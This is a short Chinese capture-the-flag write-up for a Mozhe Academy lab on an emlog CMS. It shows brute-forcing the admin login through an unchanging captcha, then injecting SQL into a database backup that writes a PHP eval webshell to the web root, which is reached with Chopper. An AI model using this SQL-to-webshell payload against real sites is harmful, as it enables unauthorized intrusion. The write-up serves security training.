墨者学院-CMS系统漏洞分析溯源(第6题)

CMS系统漏洞分析溯源(第6题)

难易程度:★★★
题目类型:配置错误
使用工具:FireFox浏览器、burpsuite、direbuster

1.打开靶场，扫描一下网站。
我用了御剑和wwwscan都扫不出后台，最后用disbuster扫到了/servlets，但是响应301。尝试访问，不成功。这里是个坑，在/servlets后加多个/成功访问。

2.我们看到个人信息为mozhe777，尝试弱口令，登陆失败，但是发现了验证码不会变。
打开burpsuite，send to intruder暴力破解。找到密码为qwer1234。

3.登录后台，选择数据，备份emlog_blog数据库。

4.在数据库尾部加上sql语句。

drop table if exists emlog_shell;
create table emlog_shell(`cmd` longtext not null);
insert into emlog_shell values("<?php @eval($_POST['c']);?>");
select cmd from emlog_shell into outfile '/var/www/html/getshell.php';
drop table if exists emlog_shell;

5.保存，导入本地备份。

6.访问/getshell.php不显示没有该文件，证明上传成功。
7.打开菜刀连接。url为http://219.153.49.228:44240/getshell.php，密码为c。

8.在C盘根目录下找到key文件，打开获取key。